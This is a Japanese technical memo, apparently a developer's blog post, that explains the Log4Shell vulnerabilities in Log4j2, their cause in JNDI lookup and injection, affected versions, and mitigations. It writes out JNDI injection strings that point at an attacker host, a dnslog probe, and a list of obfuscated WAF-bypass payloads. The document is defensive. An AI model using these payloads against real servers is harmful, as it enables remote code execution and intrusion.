log4j2の脆弱性(CVE-2021-44228)
少し調べたのでメモ
概要
外部からの入力をlog4jでそのままログ出力しようとすると、任意のコードを実行できる脆弱性
CVE-2021-45046とv2.16.0について
v2.15.0で修正されたかに見えたが、MessagePatternConverter以外の攻撃経路が見つかった。そのため、v2.16.0へのアップデートが推奨される。formatMsgNoLookupsや%m{nolookups}では防げない経路なので、これらによる対策も不十分である。
v2.16.0ではJNDIの機能そのものをデフォルトでオフにして、メッセージ内のLookup機能は削除されている。
ただし、v2.15.0のデフォルト設定でJNDIへのアクセスはlocalhost等の自身へのアクセスに限られているので、危険度は低い
localhostのbypass手段が見つかったようだ。そのため、Lookup可能な経路で攻撃されるとJNDI Injectionで外部のLDAP等に接続することができる模様。
攻撃経路については、以下の部分を参照。
Log4j – Apache Log4j Security Vulnerabilities
It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in a denial of service (DOS) attack. Log4j 2.15.0 restricts JNDI LDAP lookups to localhost by default. Note that previous mitigations involving configuration such as to set the system property log4j2.noFormatMsgLookup to true do NOT mitigate this specific vulnerability.
The reason these measures are insufficient is that, in addition to the Thread Context attack vector mentioned above, there are still code paths in Log4j where message lookups could occur: known examples are applications that use Logger.printf("%s", userInput), or applications that use a custom message factory, where the resulting messages do not implement StringBuilderFormattable. There may be other attack vectors.
攻撃方法
- 攻撃者が攻撃対象のサービスのログを出力してそうなところに${jndi:ldap://attacker.com/a}みたいな入力を入れる
- 攻撃対象のサーバはこの入力をログに出力しようとする。log4jの機能で${jndi:ldap://attacker.com/a}を変数展開しようとして、attacker.comにLDAPでアクセスする。
- attacker.comは攻撃者の管理するホストで、そのLDAPサーバはJavaのReferenceオブジェクト(をシリアライズしたもの)を返す。Referenceオブジェクトは
http://attacker2.com/B.class
のような参照先を含む - 攻撃対象のサーバは参照先のB.classをロードしてオブジェクトを生成しようとする。この時、Bクラスのstaticブロックが実行される。
何が影響するか
以下の条件に当てはまるソフトウェア(Webアプリを想定しがちだが、Java製でlog4jを利用して外部入力を受け取ってログに吐いているなら該当する)
- log4jの 2.0-beta9〜2.14.1を利用(v2.15.0も攻撃可能なケースがある)
Java 6u211、7u201、8u191、11.0.1未満を利用- 外部入力をそのままログ出力している
(追記:2021/12/15 7:33) v2.15.0においても、デフォルトの設定でJNDIを実行できる経路が見つかったので、v2.15.0もある程度影響がある。ただし、v2.15.0デフォルトでlocalhostにしかアクセスできないので、危険性は低い
影響のあるサービス、アプリ
以下でリストアップしているっぽい。
GitHub - YfryTchsGD/Log4jAttackSurface
(追記: 2021/12/12 18:55)
あくまでJndiLookupの実行までの確認で、RCEまで実行できるかは別ものだと思われる。
${jndi:ldap://xxx.dnslog.cn/a}を入力して、対象サーバにldap://xxx.dnslog.cn/aにアクセスさせて、xxx.dnslog.cnの名前解決をさせて、xxx.dnslog.cnに名前解決があったことを記録するのだと。
1.xは影響があるのか
ITMediaの記事で1.xもと書かれてあった。
この脆弱性の影響があるのは、Log4jのバージョン2.0から2.14.1までと当初みられていたが、Log4jのGitHub上の議論では、1.x系も同様の脆弱性を抱えていることが報告されている。対策には、修正済みのバージョンである2.15.0-rc2へのアップデートが推奨されている。
しかし、1.xにはJndiLookupの機能がないので、今回の脆弱性は存在しないと考える。
(追記) JMSAppenderの話っぽい
Restrict LDAP access via JNDI by rgoers · Pull Request #608 · apache/logging-log4j2 · GitHub
If you look at how jndi works in 1.x you will find that there are two places where lookups are done - that is JMSAppender.java:207 and JMSAppender.java:222 - if you set TopicBindingName or TopicConnectionFactoryBindingName to something that JNDI can handle - for example "ldap://host:port/a" JNDI will do exactly the same thing it does for 2.x - so 1.x is vulnerable, just attack vector is "safer" as it depends on configuration rather than user input
JMSAppenderを利用していて、TopicBindingName/TopicConnectionFactoryBindingNameに攻撃者のLDAPのURLを設定できれば同様のことが可能なのだが、これにはlog4jの設定ファイルを攻撃者が修正可能であるという前提が必要。
さすがにこれを持って1.xも同様の脆弱性があるとするのは違うのではと思う。
原因
log4jにJndiLookupの機能がありデフォルトで有効になっていたことと、JavaにJDNI Injectionの脆弱性があったことの合わせ技。
JndiLookup
log4j2からLookupという機能が追加された。
これは変数を展開する機能で、例えば${env:USER}という文字列はUSER環境変数の値に展開される。
JndiLookupはLookupの1つで、${jndi:xxxx}という変数をJNDIでxxxxをlookupした値に展開する.この時のJNDI Injectionが利用されて、任意のコードが実行される。
Lookupの動きは、MessagePatternConverter→StrSubstitutor→Interpolator,各種Lookupという流れでコードを読むとなんとなく理解できる。
JNDI Injection
詳しくはこちらを参照。
JNDIはJavaの名前解決、ディレクトリサービス機能であり、LDAP、RMI、CORBAなどに統一的なインターフェースでアクセスすることができる。
ctx.bind(name, value); // ctxはjavax.naming.Context
で名前に対する値を保存でき
Object value = ctx.lookup(name);
で、名前を指定して、値を取得することができる。値はJavaのオブジェクトを指定でき、LDAPにもシリアライズした形で保存される。
さらに、JNDIにはReferenceというクラスがあり、保存するオブジェクトのファクトリクラスをディレクトリサービスとは別の場所に保存して参照する仕組みがある。この参照先にhttp://attacker2.com/B.class
などを指定すると、lookupする時にB.classをロードしようとしてクラスBのstaticブロックが実行されるというものである。
この問題に関しては、6u211、7u201、8u191、11.0.1 で修正が入ったため、新しいJavaのバージョンでは攻撃できない。 今回攻撃されたのは、これら未満のバージョンを利用していたのだと思われる。
リンク先にはRMIやCORBAでの攻撃方法も紹介されている。
対策
log4jを修正版のv2.15.0v2.16.0にアップデートする
一番正攻法。
(追記:2021/12/15 7:33) v2.15.0でもJNDIを実行可能な経路があるため、v2.16.0にアップデートした方が良い
formatMsgNoLookups=trueにする
JVM起動時に-Dlog4j2.formatMsgNoLookups=trueにしたり環境変数LOG4J_FORMAT_MSG_NO_LOOKUPSをtrueにしてJVMを起動する。
v2.10.0以上の場合のみ有効。Lookupの機能がオフになる。
(追記:2021/12/15 7:33) CVE-2021-45046において、MessagePatternConverter以外の別の経路の攻撃方法が見つかったので、この方法は推奨できない
%mを%m{nolookups}に変更する
log4jの設定ファイルで、%mと書いている部分を%m{nolookups}に変更する。
Pattern(log4jでどのようなフォーマットでログを出力するかを指定する部分)の%m(ログ出力メソッドに渡した文字列引数の値)でLookupを実行しないようにしている。
v2.7.0以上の場合のみ有効。
(追記:2021/12/15 7:33) CVE-2021-45046において、MessagePatternConverter以外の別の経路の攻撃方法が見つかったので、この方法は推奨できない
Javaをアップデートする
6u211、7u201、8u191、11.0.1以上にすると、今回の攻撃に利用されるJNDI Injectionができなくなる。
ただし、8u191以上でも攻撃可能な方法があるようだ。
ただ、リンク先の記事はTomcatが対象であり、Tomcatで攻撃可能な部分(BeanFactoryとELProcessor)を利用して攻撃しており、今回のような攻撃者が作成したクラスファイルを指定する方法とは異なる。攻撃対象にELProcessorのようなevalの機能があるクラスがないとうまくいかないと思われる。
(追記:2021/12/16 07:16) Tomcat以外にも攻撃可能な方法が見つかっているようなので、これも推奨できない
log4jのjarファイルからJndiLookup.classを削除する
JndiLookupの機能を強制削除できるので有効であるが、例外が発生すると思うので、その時どうなるかは検証する必要がある。
WAFを利用する
WAFで${jndi:xxx}のような入力をブロックするという方法はある。
AWSではWAFのルールが追加されたようである。
Log4jの脆弱性対策としてAWS WAFのマネージドルールに「Log4JRCE」が追加されました | DevelopersIO
ただし、以下のようなBypass方法はある模様。AWSで対応しているかどうかは不明。
GitHub - tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce: Apache Log4j 远程代码执行
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
lower:は文字列を小文字に変換するLookup。あとは、Javaのバージョンが古いとLDAPではなくRMIのサーバを利用して攻撃可能ということかな。
FireWallでLDAP等のアクセスを防ぐ
根本的な解決策ではないので、あまり推奨しない。
また、外部入力からLDAPサーバのポートは指定可能なので、ポートではなくアプリケーションプロトコルを見てブロックする必要がある。
log4j 2.15.0における修正
以下の2つがメインかな。
- LOG4J2-3198: Log4j2 no longer formats lookups in messages by default by carterkozak · Pull Request #607 · apache/logging-log4j2 · GitHub
- Restrict LDAP access via JNDI by rgoers · Pull Request #608 · apache/logging-log4j2 · GitHub
こんな感じの修正が入っている。
- デフォルトでメッセージ内のLookupをしないようにした
- %m{lookup}でlookupするようになる
- formatMsgNoLookupsの指定もできなくなった
- JndiLookupを制限
参考
CVE-2021-44228について
- Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package | LunaSec
- GitHub - tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce: Apache Log4j 远程代码执行
- BlueTeam CheatSheet * Log4Shell* | Last updated: 2021-12-12 0023 UTC · GitHub
- Remote code injection in Log4j · CVE-2021-44228 · GitHub Advisory Database · GitHub
- Apache Log4jの任意のコード実行の脆弱性(CVE-2021-44228)に関する注意喚起
- Log4jの脆弱性対策としてAWS WAFのマネージドルールに「Log4JRCE」が追加されました | DevelopersIO
- Log4j – Apache Log4j Security Vulnerabilities